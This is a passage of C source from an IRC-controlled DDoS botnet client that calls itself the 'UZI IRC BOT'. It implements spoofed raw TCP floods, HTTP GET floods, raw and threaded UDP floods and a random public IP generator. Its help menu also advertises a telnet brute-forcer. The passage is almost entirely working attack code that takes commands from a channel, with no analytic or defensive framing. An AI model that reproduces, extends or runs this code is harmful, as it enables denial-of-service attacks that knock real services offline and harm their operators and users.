  638.         unsigned short dest;
  639.         unsigned short len;
  640.         unsigned short check;
  641. };
  642. struct send_tcp {
  643.     struct iphdr ip;
  644.     struct tcphdr tcp;
  645.     char buf[20];
  646. };
  647. struct pseudo_header {
  648.     unsigned int source_address;
  649.     unsigned int dest_address;
  650.     unsigned char pVageholder;
  651.     unsigned char protocol;
  652.     unsigned short tcp_length;
  653.     struct tcphdr tcp;
  654.     char buf[20];
  655. };
  656. unsigned int host2ip(char *sender,char *hostname) {
  657.         static struct in_addr i;
  658.         struct hostent *h;
  659.         if((i.s_addr = inet_addr(hostname)) == -1) {
  660.                 if((h = gethostbyname(hostname)) == NULL) {
  661.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  662.                         exit(0);
  663.                 }
  664.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  665.         }
  666.         return i.s_addr;
  667. }
  668. in_addr_t getRandomIP(in_addr_t netmask)
  669. {
  670.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  671.         return tmp ^ ( rand_cmwc() & ~netmask);
  672. }
  673. unsigned short csum (unsigned short *buf, int count)
  674. {
  675.         register uint64_t sum = 0;
  676.         while( count > 1 ) { sum += *buf++; count -= 2; }
  677.         if(count > 0) { sum += *(unsigned char *)buf; }
  678.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  679.         return (uint16_t)(~sum);
  680. }
  681. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  682. {
  683.  
  684.         struct tcp_pseudo
  685.         {
  686.                 unsigned long src_addr;
  687.                 unsigned long dst_addr;
  688.                 unsigned char zero;
  689.                 unsigned char proto;
  690.                 unsigned short length;
  691.         } pseudohead;
  692.         unsigned short total_len = iph->tot_len;
  693.         pseudohead.src_addr=iph->saddr;
  694.         pseudohead.dst_addr=iph->daddr;
  695.         pseudohead.zero=0;
  696.         pseudohead.proto=IPPROTO_TCP;
  697.         pseudohead.length=htons(sizeof(struct tcphdr));
  698.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  699.         unsigned short *tcp = malloc(totaltcp_len);
  700.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  701.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  702.         unsigned short output = csum(tcp,totaltcp_len);
  703.         free(tcp);
  704.         return output;
  705. }
  706. int getHost(unsigned char *toGet, struct in_addr *i)
  707. {
  708.         struct hostent *h;
  709.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  710.         return 0;
  711. }
  712. static void printchar(unsigned char **str, int c) {
  713.         if (str) {
  714.                 **str = c;
  715.                 ++(*str);
  716.         }
  717.         else (void)write(1, &c, 1);
  718. }
  719. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  720.         register int pc = 0, padchar = ' ';
  721.         if (width > 0) {
  722.                 register int len = 0;
  723.                 register const unsigned char *ptr;
  724.                 for (ptr = string; *ptr; ++ptr) ++len;
  725.                 if (len >= width) width = 0;
  726.                 else width -= len;
  727.                 if (pad & PAD_ZERO) padchar = '0';
  728.         }
  729.         if (!(pad & PAD_RIGHT)) {
  730.                 for ( ; width > 0; --width) {
  731.                         printchar (out, padchar);
  732.                         ++pc;
  733.                 }
  734.         }
  735.         for ( ; *string ; ++string) {
  736.                 printchar (out, *string);
  737.                 ++pc;
  738.         }
  739.         for ( ; width > 0; --width) {
  740.                 printchar (out, padchar);
  741.                 ++pc;
  742.         }
  743.         return pc;
  744. }
  745. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  746.         unsigned char print_buf[PRINT_BUF_LEN];
  747.         register unsigned char *s;
  748.         register int t, neg = 0, pc = 0;
  749.         register unsigned int u = i;
  750.         if (i == 0) {
  751.                 print_buf[0] = '0';
  752.                 print_buf[1] = '\0';
  753.                 return prints (out, print_buf, width, pad);
  754.         }
  755.         if (sg && b == 10 && i < 0) {
  756.                 neg = 1;
  757.                 u = -i;
  758.         }
  759.  
  760.         s = print_buf + PRINT_BUF_LEN-1;
  761.         *s = '\0';
  762.         while (u) {
  763.                 t = u % b;
  764.                 if( t >= 10 )
  765.                 t += letbase - '0' - 10;
  766.                 *--s = t + '0';
  767.                 u /= b;
  768.         }
  769.         if (neg) {
  770.                 if( width && (pad & PAD_ZERO) ) {
  771.                         printchar (out, '-');
  772.                         ++pc;
  773.                         --width;
  774.                 }
  775.                 else {
  776.                         *--s = '-';
  777.                 }
  778.         }
  779.  
  780.         return pc + prints (out, s, width, pad);
  781. }
  782. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  783.         register int width, pad;
  784.         register int pc = 0;
  785.         unsigned char scr[2];
  786.         for (; *format != 0; ++format) {
  787.                 if (*format == '%') {
  788.                         ++format;
  789.                         width = pad = 0;
  790.                         if (*format == '\0') break;
  791.                         if (*format == '%') goto out;
  792.                         if (*format == '-') {
  793.                                 ++format;
  794.                                 pad = PAD_RIGHT;
  795.                         }
  796.                         while (*format == '0') {
  797.                                 ++format;
  798.                                 pad |= PAD_ZERO;
  799.                         }
  800.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  801.                                 width *= 10;
  802.                                 width += *format - '0';
  803.                         }
  804.                         if( *format == 's' ) {
  805.                                 register char *s = (char *)va_arg( args, int );
  806.                                 pc += prints (out, s?s:"(null)", width, pad);
  807.                                 continue;
  808.                         }
  809.                         if( *format == 'd' ) {
  810.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  811.                                 continue;
  812.                         }
  813.                         if( *format == 'x' ) {
  814.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  815.                                 continue;
  816.                         }
  817.                         if( *format == 'X' ) {
  818.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  819.                                 continue;
  820.                         }
  821.                         if( *format == 'u' ) {
  822.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  823.                                 continue;
  824.                         }
  825.                         if( *format == 'c' ) {
  826.                                 scr[0] = (unsigned char)va_arg( args, int );
  827.                                 scr[1] = '\0';
  828.                                 pc += prints (out, scr, width, pad);
  829.                                 continue;
  830.                         }
  831.                 }
  832.                 else {
  833. out:
  834.                         printchar (out, *format);
  835.                         ++pc;
  836.                 }
  837.         }
  838.         if (out) **out = '\0';
  839.         va_end( args );
  840.         return pc;
  841. }
  842.  
  843. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  844.         va_list args;
  845.         va_start( args, format );
  846.         return print( &out, format, args );
  847. }
  848.  
  849. in_addr_t getRandomPublicIP() { // IP Block, Written by ZH
  850.         static uint8_t ipState[4] = {0};
  851.         ipState[0] = rand() % 224;
  852.         ipState[1] = rand() % 255;
  853.         ipState[2] = rand() % 255;
  854.         ipState[3] = rand() % 255;
  855.         while(
  856.                 (ipState[0] == 0) ||
  857.                 (ipState[0] == 10) ||
  858.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  859.                 (ipState[0] == 127) ||
  860.                 (ipState[0] == 169 && ipState[1] == 254) ||
  861.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  862.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  863.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  864.                 (ipState[0] == 192 && ipState[1] == 168) ||
  865.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  866.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  867.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  868.                 (ipState[0] >= 224)
  869.         )
  870.         {
  871.                 ipState[0] = rand() % 224;
  872.                 ipState[1] = rand() % 255;
  873.                 ipState[2] = rand() % 255;
  874.                 ipState[3] = rand() % 255;
  875.         }
  876.         char ip[16] = {0};
  877.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  878.         return inet_addr(ip);
  879. }
  880. void sendTCP(int sock, char *sender, int argc, char **argv)
  881. {
  882.     if (mfork(sender) != 0) return;
  883.     if (argc < 7) {
  884.        Send(sock,"PRIVMSG %s :7[QTCP] <target> <port> <secs> <netmask> <flags> <packetsize> <time poll interval> \n",chan);
  885.        exit(1);
  886.     }
  887.     if (atoi(argv[3]) > maxtime)
  888.     {
  889.         Send(sock,"PRIVMSG %s :7[TCP] - Invalid time, Max boot time is [%d]!\n",chan, maxtime);
  890.         exit(1);
  891.     }
  892.     if (atoi(argv[6]) > maxSTDpacketsize)
  893.     {
  894.         Send(sock,"PRIVMSG %s :7[TCP] - Invalid time, Max packetsize is [%d]!\n",chan, maxSTDpacketsize);
  895.         exit(1);
  896.     }
  897.    
  898.     char *target = argv[1], *flags = argv[5];
  899.     int port = atoi(argv[2]), timeEnd = atoi(argv[3]), spoofit = atoi(argv[4]), packetsize = atoi(argv[6]), pollinterval = atoi(argv[7]);
  900.  
  901.     register unsigned int pollRegister;
  902.     pollRegister = pollinterval;
  903.  
  904.     struct sockaddr_in dest_addr;
  905.  
  906.     dest_addr.sin_family = AF_INET;
  907.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  908.     else dest_addr.sin_port = htons(port);
  909.     if(getHost(target, &dest_addr.sin_addr)) return;
  910.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  911.  
  912.     int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  913.     if(!sockfd)
  914.     {
  915.         Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan);
  916.         return;
  917.     }
  918.  
  919.     int tmp = 1;
  920.     if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  921.     {
  922.         Send(sock,"PRIVMSG %s :7Failed setting raw headers mode.\n",chan);
  923.         return;
  924.     }
  925.  
  926.     in_addr_t netmask;
  927.  
  928.     if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  929.     else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  930.  
  931.     unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  932.     struct iphdr *iph = (struct iphdr *)packet;
  933.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  934.  
  935.     makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  936.  
  937.     tcph->source = rand_cmwc();
  938.     tcph->seq = rand_cmwc();
  939.     tcph->ack_seq = 0;
  940.     tcph->doff = 5;
  941.  
  942.     if(!strcmp(flags, "all"))
  943.     {
  944.         tcph->syn = 1;
  945.         tcph->rst = 1;
  946.         tcph->fin = 1;
  947.         tcph->ack = 1;
  948.         tcph->psh = 1;
  949.     } else {
  950.         unsigned char *pch = strtok(flags, ",");
  951.         while(pch)
  952.         {
  953.             if(!strcmp(pch, "syn"))
  954.             {
  955.                 tcph->syn = 1;
  956.             } else if(!strcmp(pch,  "rst"))
  957.             {
  958.                 tcph->rst = 1;
  959.             } else if(!strcmp(pch,  "fin"))
  960.             {
  961.                 tcph->fin = 1;
  962.             } else if(!strcmp(pch,  "ack"))
  963.             {
  964.                 tcph->ack = 1;
  965.             } else if(!strcmp(pch,  "psh"))
  966.             {
  967.                 tcph->psh = 1;
  968.             } else {
  969.                 Send(sock, "PRIVMSG %s :7Invalid flag [%s]\n", chan, pch);
  970.             }
  971.             pch = strtok(NULL, ",");
  972.             }
  973.     }
  974.  
  975.     tcph->window = rand_cmwc();
  976.     tcph->check = 0;
  977.     tcph->urg_ptr = 0;
  978.     tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  979.     tcph->check = tcpcsum(iph, tcph);
  980.  
  981.     iph->check = csum ((unsigned short *) packet, iph->tot_len);
  982.  
  983.     int end = time(NULL) + timeEnd;
  984.     register unsigned int i = 0;
  985.  
  986.     Send(sock,"PRIVMSG %s :7[TCP] packeting [%s].\n",chan,argv[1]);
  987.  
  988.     while(1)
  989.     {
  990.         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  991.  
  992.         iph->saddr = htonl( getRandomIP(netmask) );
  993.         iph->id = rand_cmwc();
  994.         tcph->seq = rand_cmwc();
  995.         tcph->source = rand_cmwc();
  996.         tcph->check = 0;
  997.         tcph->check = tcpcsum(iph, tcph);
  998.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  999.  
  1000.         if(i == pollRegister)
  1001.         {
  1002.             if(time(NULL) > end) break;
  1003.                 i = 0;
  1004.                 continue;
  1005.             }
  1006.             i++;
  1007.     }
  1008.     Send(sock,"PRIVMSG %s :7[TCP] flood against [%s] finished.\n",chan,argv[1]);
  1009. }
  1010. int socket_connect(char *host, unsigned short int port) {
  1011.     struct hostent *hp;
  1012.     struct sockaddr_in addr;
  1013.     int on = 1, sock;    
  1014.     if ((hp = gethostbyname(host)) == NULL) return 0;
  1015.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1016.     addr.sin_port = htons(port);
  1017.     addr.sin_family = AF_INET;
  1018.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1019.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1020.     if (sock == -1) return 0;
  1021.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1022.     return sock;
  1023. }
  1024.  
  1025. void SendHTTP(char *method, char *host, unsigned short int port, char *path, int timeEnd, int power) {
  1026.     int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1027.     char request[512], buffer[1];
  1028.     for (i = 0; i < power; i++) {
  1029.         if (fork()) {
  1030.             while (end > time(NULL)) {
  1031.                 sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, UserAgents[(rand() % 170)]);
  1032.                 socket = socket_connect(host, port);
  1033.                 if (socket != 0) {
  1034.                     write(socket, request, strlen(request));
  1035.                     read(socket, buffer, 1);
  1036.                     close(socket);
  1037.                 }
  1038.             }
  1039.             exit(0);
  1040.         }
  1041.     }
  1042. }
  1043.  
  1044. void *HTTP(int sock, char *sender, int argc, char **argv) {
  1045.    
  1046.     // !* HTTP METHOD TARGET PORT PATH TIME POWER
  1047.     // !* HTTP GET hackforums.net 80 / 10 100
  1048.     if (mfork(sender) != 0) return;
  1049.     if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) {
  1050.         Send(sock, "NOTICE %s :7[HTTPFLOOD] <method> <target> <port> <path> <time> <power> ~ SMALL HTTPFLOOD WRITTEN BY ZH.\n", sender);
  1051.         return;
  1052.     }
  1053.     SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1054.     exit(0);
  1055.    
  1056. }
  1057. void rawUDP(int sock, char *sender, int argc, char **argv) {
  1058.     int flag=1,fd,i;
  1059.     unsigned long secs;
  1060.     char *buf=(char*)malloc(65500);
  1061.     struct hostent *hp;
  1062.     struct sockaddr_in in;
  1063.         time_t start=time(NULL);
  1064.         if (mfork(sender) != 0) return;
  1065.     if (argc < 2) {
  1066.                    
  1067.                 exit(1);
  1068.         }
  1069.         if (atoi(argv[2]) > maxtime)
  1070.         {
  1071.             Send(sock,"PRIVMSG %s :7[RAWUDP] - Invalid time, Max boot time is %d!\n",chan, maxtime);
  1072.             exit(1);
  1073.         }
  1074.         secs=atol(argv[2]);
  1075.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  1076.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  1077.     in.sin_family = AF_INET;
  1078.         Send(sock,"PRIVMSG %s :7Packeting %s With RAWUDP.\n",chan,argv[1]);
  1079.     while(1) {
  1080.         in.sin_port = rand();
  1081.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  1082.         else {
  1083.             flag=1;
  1084.             ioctl(fd,FIONBIO,&flag);
  1085.             sendto(fd,buf,65500,0,(struct sockaddr*)&in,sizeof(in));
  1086.             close(fd);
  1087.         }
  1088.                 if (i >= 50) {
  1089.                         if (time(NULL) >= start+secs)
  1090.                         {
  1091.                             break;
  1092.                         }
  1093.                         i=0;
  1094.                 }
  1095.                 i++;
  1096.     }
  1097.         close(fd);
  1098.     exit(0);
  1099. }
  1100. void move(int sock, char *sender, int argc, char **argv) {
  1101.         if (argc < 1) {
  1102.                 Send(sock,"PRIVMSG %s :7POINT <server>\n",chan);
  1103.                 exit(1);
  1104.         }
  1105.     server=strdup(argv[1]);
  1106.     changeservers=1;
  1107.     close(sock);
  1108. }
  1109. void help(int sock, char *sender, int argc, char **argv) {
  1110.         if (mfork(sender) != 0) return;
  1111.         Send(sock,"PRIVMSG %s :7[UZI] - UZI IRC BOT HELP LIST ~WRITTEN BY ZH\n",chan);
  1112.         Send(sock,"PRIVMSG %s :7[UZI] - QUDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)> ~QUDP QBOT ATTACK\n",chan); sleep(0.2);
  1113.         Send(sock,"PRIVMSG %s :7[UZI] - RUDP <target> <secs> ~RAW UDP ATTACK \n",chan); sleep(0.2);
  1114.         Send(sock,"PRIVMSG %s :7[UZI] - QJUNK <target> <port> <secs> ~QJUNK QBOT ATTACK \n",chan); sleep(0.2);
  1115.         Send(sock,"PRIVMSG %s :7[UZI] - QHOLD <target> <port> <secs> ~QHOLD QBOT ATTACK \n",chan); sleep(0.2);
  1116.         Send(sock,"PRIVMSG %s :7[UZI] - QTCP <target> <port> <secs> <netmask> <flags> <packetsize> <time poll interval> ~QTCP QBOT ATTACK\n",chan); sleep(0.2);
  1117.         Send(sock,"PRIVMSG %s :7[UZI] - TSTD <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)> <threads (1-%d)> ~THREADED STD ATTACK WRITTEN BY ZH\n\n",chan, maxSTDpacketsize, maxthreads); sleep(0.2);
  1118.         Send(sock,"PRIVMSG %s :7[UZI] - STD <target> <port> <secs> <packet size (1-%d)> <string(RANDOM for makestring)> ~STD ATTACK\n",chan, maxSTDpacketsize); sleep(0.2);
  1119.         Send(sock,"PRIVMSG %s :7[UZI] - HTTPFLOOD <method> <target> <port> <path> <time> <power> ~SMALL HTTPFLOOD WRITTEN BY ZH.\n",chan); sleep(0.2);
  1120.         Send(sock,"PRIVMSG %s :7[UZI] - UZIBRUTE <ON/OFF> ~EXTREME TELNET BRUTER WRITTEN BY ZH\n",chan); sleep(0.2);
  1121.         Send(sock,"PRIVMSG %s :7[UZI] - KILLALL\n",chan); sleep(0.2);
  1122.         Send(sock,"PRIVMSG %s :7[UZI] - HELP\n",chan);
  1123.         exit(0);
  1124. }
  1125. void regstd(int sock, char *sender, int argc, char **argv)
  1126. {
  1127.     if (mfork(sender) != 0) return;
  1128.     if (argc < 5) {
  1129.    
  1130.         Send(sock,"PRIVMSG %s :7[STD] <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)>\n",chan, maxSTDpacketsize);
  1131.         exit(1);
  1132.        
  1133.     }
  1134.     if (atoi(argv[3]) > maxtime)
  1135.     {
  1136.         Send(sock,"PRIVMSG %s :7[STD] - Invalid time, Max boot time is %d!\n",chan, maxtime);
  1137.         exit(1);
  1138.     }
  1139.     if (atoi(argv[4]) > maxSTDpacketsize)
  1140.     {
  1141.         Send(sock,"PRIVMSG %s :7[STD] - Invalid time, Max packetsize is %d!\n",chan, maxSTDpacketsize);
  1142.         exit(1);
  1143.     }
  1144.     else {
  1145.         setpacketsize = atoi(argv[4]);
  1146.     }
  1147.     unsigned long secs;
  1148.  
  1149.     int iSTD_Sock;
  1150.  
  1151.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1152.  
  1153.     time_t start = time(NULL);
  1154.     secs = atol(argv[3]);
  1155.     if (mfork(sender) != 0) return;
  1156.     if(argv[5] = "RANDOM")
  1157.     {
  1158.         char *chokemedaddy = makestring();
  1159.         strng2 = chokemedaddy;
  1160.     }
  1161.     else
  1162.     {
  1163.         char *lolomgursobig = argv[5];
  1164.         strng2 = lolomgursobig;
  1165.     }
  1166.     Send(sock,"PRIVMSG %s :7[STD]Hitting %s!\n",chan, argv[1]);
  1167.     Send(sock,"PRIVMSG %s :7[STD]Packet Size: %d\n",chan, setpacketsize);
  1168.     Send(sock,"PRIVMSG %s :7[STD]String: %s\n",chan, strng2);
  1169.  
  1170.     struct sockaddr_in sin;
  1171.  
  1172.     struct hostent *hp;
  1173.  
  1174.     hp = gethostbyname(argv[1]);
  1175.  
  1176.     bzero((char*) &sin,sizeof(sin));
  1177.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1178.     sin.sin_family = hp->h_addrtype;
  1179.     sin.sin_port = atol(argv[2]);
  1180.  
  1181.     unsigned int a = 0;
  1182.  
  1183.     while(1){
  1184.         if (a >= 50)
  1185.         {
  1186.             send(iSTD_Sock, strng2, argv[4], 0);
  1187.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1188.             if (time(NULL) >= start + secs)
  1189.             {
  1190.                 Send(sock, "PRIVMSG %s :7[STD]Done hitting %s!\n", chan, argv[1]);
  1191.                 close(iSTD_Sock);
  1192.                 exit(0);
  1193.             }
  1194.             a = 0;
  1195.         }
  1196.         a++;
  1197.     }
  1198.    
  1199.  
  1200. }
  1201.  
  1202. void *std_worker(void *args){
  1203.     struct thread_args *t_args = (struct thread_args *)args;
  1204.     connect(t_args->iSTD_Sock,(struct sockaddr *) t_args->sin, sizeof(struct sockaddr));
  1205.     unsigned int i = 0;
  1206.     while (1){
  1207.         send(t_args->iSTD_Sock, strng, setpacketsize, 0);
  1208.         //usleep(3);
  1209.     }
  1210. }
  1211.  
  1212. void threadstd(int sock, char *sender, int argc, char **argv) {
  1213.     if (mfork(sender) != 0) return;
  1214.     if (argc < 6) {
  1215.             Send(sock,"PRIVMSG %s :7[THREADSTD] <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)> <threads (1-%d)>\n",chan, maxSTDpacketsize, maxthreads);
  1216.             exit(1);
  1217.     }
  1218.     if (atoi(argv[3]) > maxtime)
  1219.     {
  1220.         Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid time, Max boot time is %d!\n",chan, maxtime);
  1221.         exit(1);
  1222.     }
  1223.     if (atoi(argv[4]) > maxSTDpacketsize)
  1224.     {
  1225.         Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid packetsize, Max packetsize is %d!\n",chan, maxSTDpacketsize);
  1226.         exit(1);
  1227.     }
  1228.     else {
  1229.         setpacketsize = atoi(argv[4]);
  1230.     }
  1231.     if (atoi(argv[6]) > maxthreads)
  1232.     {
  1233.         Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid threads, Max amount of threads allowed is %d!\n",chan, maxthreads);
  1234.         exit(1);
  1235.     }
  1236.     else {
  1237.         threadamount = atoi(argv[6]);
  1238.     }
  1239.  
  1240.     unsigned long secs;
  1241.  
  1242.     int iSTD_Sock;
  1243.  
  1244.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1245.  
  1246.     time_t start = time(NULL);
  1247.     secs = atol(argv[3]);
  1248.     if (mfork(sender) != 0) return;
  1249.     if(argv[5] = "RANDOM")
  1250.     {
  1251.         char *spankmedaddy = makestring();
  1252.         strng = spankmedaddy;
  1253.     }
  1254.     else
  1255.     {
  1256.         char *wooowdaddy = argv[5];
  1257.         strng = wooowdaddy;
  1258.     }
  1259.     Send(sock,"PRIVMSG %s :7[THREADSTD] Railing %s!\n",chan,argv[1]);
  1260.     Send(sock,"PRIVMSG %s :7[THREADSTD] Packet Size: %d\n",chan, setpacketsize);
  1261.     Send(sock,"PRIVMSG %s :7[THREADSTD] String: %s\n",chan, strng);
  1262.     Send(sock,"PRIVMSG %s :7[THREADSTD] Threads: %d\n",chan, threadamount);
  1263.  
  1264.     struct sockaddr_in sin;
  1265.  
  1266.     struct hostent *hp;
  1267.  
  1268.     hp = gethostbyname(argv[1]);
  1269.  
  1270.     bzero((char*) &sin,sizeof(sin));
  1271.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1272.     sin.sin_family = hp->h_addrtype;
  1273.     sin.sin_port = atol(argv[2]);
  1274.  
  1275.     unsigned int i;
  1276.     pthread_t thread_arr[atoi(argv[6])];
  1277.     struct thread_args t_args;
  1278.     t_args.iSTD_Sock = iSTD_Sock;
  1279.     t_args.sin = &sin;
  1280.     for (i = 0; i < atoi(argv[6]); i++){
  1281.     pthread_create(&thread_arr[i], NULL, std_worker, &t_args);
  1282.     }
  1283.     while(1){
  1284.     if (time(NULL) >= start + secs){
  1285.         Send(sock, "PRIVMSG %s :7Packeted[%s]\n", chan, argv[1]);
  1286.         close(iSTD_Sock);
  1287.         exit(0);
  1288.     }
  1289.     }
  1290. }
  1291.  
  1292. int listFork()
  1293. {
  1294.         uint32_t parent, *newpids, i;
  1295.         parent = fork();
  1296.         if (parent <= 0) return parent;
  1297.         numpids++;
  1298.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  1299.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  1300.         newpids[numpids - 1] = parent;
  1301.         free(pids);
  1302.         pids = newpids;
  1303.         return parent;
  1304. }
  1305.  
  1306. void init_rand(uint32_t x)
  1307. {
  1308.         int i;
  1309.  
  1310.         Q[0] = x;
  1311.         Q[1] = x + PHI;
  1312.         Q[2] = x + PHI + PHI;
  1313.  
  1314.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  1315. }
  1316.  
  1317. void makeRandomStr(unsigned char *buf, int length)
  1318. {
  1319.         int i = 0;
  1320.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  1321. }
  1322.  
  1323. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
  1324. {
  1325.         struct sockaddr_in dest_addr;
  1326.  
  1327.         dest_addr.sin_family = AF_INET;
  1328.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1329.         else dest_addr.sin_port = htons(port);
  1330.         if(getHost(target, &dest_addr.sin_addr)) return;
  1331.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1332.  
  1333.         register unsigned int pollRegister;
  1334.         pollRegister = pollinterval;
  1335.  
  1336.         int sock;
  1337.         char *sender;
  1338.        
  1339.         if(spoofit == 32)
  1340.         {
  1341.                 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1342.                 if(!sockfd)
  1343.                 {
  1344.                         Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan);
  1345.                         return;
  1346.                 }
  1347.  
  1348.                 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1349.                 if(buf == NULL) return;
  1350.                 memset(buf, 0, packetsize + 1);
  1351.                 makeRandomStr(buf, packetsize);
  1352.  
  1353.                 int end = time(NULL) + timeEnd;
  1354.                 register unsigned int i = 0;
  1355.                 register unsigned int ii = 0;
  1356.                 int argc;
  1357.                 char **argv;
  1358.                 Send(sock,"PRIVMSG %s :7[QUDP] Flooding [%s:%s] (%s Secs)\n",chan, argv[1], atoi(argv[2]), atoi(argv[3]));
  1359.                 while(1)
  1360.                 {
  1361.                         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1362.  
  1363.                         if(i == pollRegister)
  1364.                         {
  1365.                                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1366.                                 if(time(NULL) > end) break;
  1367.                                 i = 0;
  1368.                                 continue;
  1369.                         }
  1370.                         i++;
  1371.                         if(ii == sleepcheck)
  1372.                         {
  1373.                             usleep(sleeptime*1000);
  1374.                             ii = 0;
  1375.                             continue;
  1376.                         }
  1377.                         ii++;
  1378.                 }
  1379.         } else {
  1380.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1381.                 if(!sockfd)
  1382.                 {
  1383.                         Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan);
  1384.                         return;
  1385.                 }
  1386.  
  1387.                 int tmp = 1;
  1388.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1389.                 {
  1390.                         Send(sock,"PRIVMSG %s :7Failed setting raw headers mode.\n",chan);
  1391.                         return;
  1392.                 }
  1393.  
  1394.                 int counter = 50;
  1395.                 while(counter--)
  1396.                 {
  1397.                         srand(time(NULL) ^ rand_cmwc());
  1398.                         init_rand(rand());
  1399.                 }
  1400.  
  1401.                 in_addr_t netmask;
  1402.  
  1403.                 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1404.                 else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1405.  
  1406.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1407.                 struct iphdr *iph = (struct iphdr *)packet;
  1408.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1409.  
  1410.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1411.  
  1412.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1413.                 udph->source = rand_cmwc();
  1414.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1415.                 udph->check = 0;
  1416.  
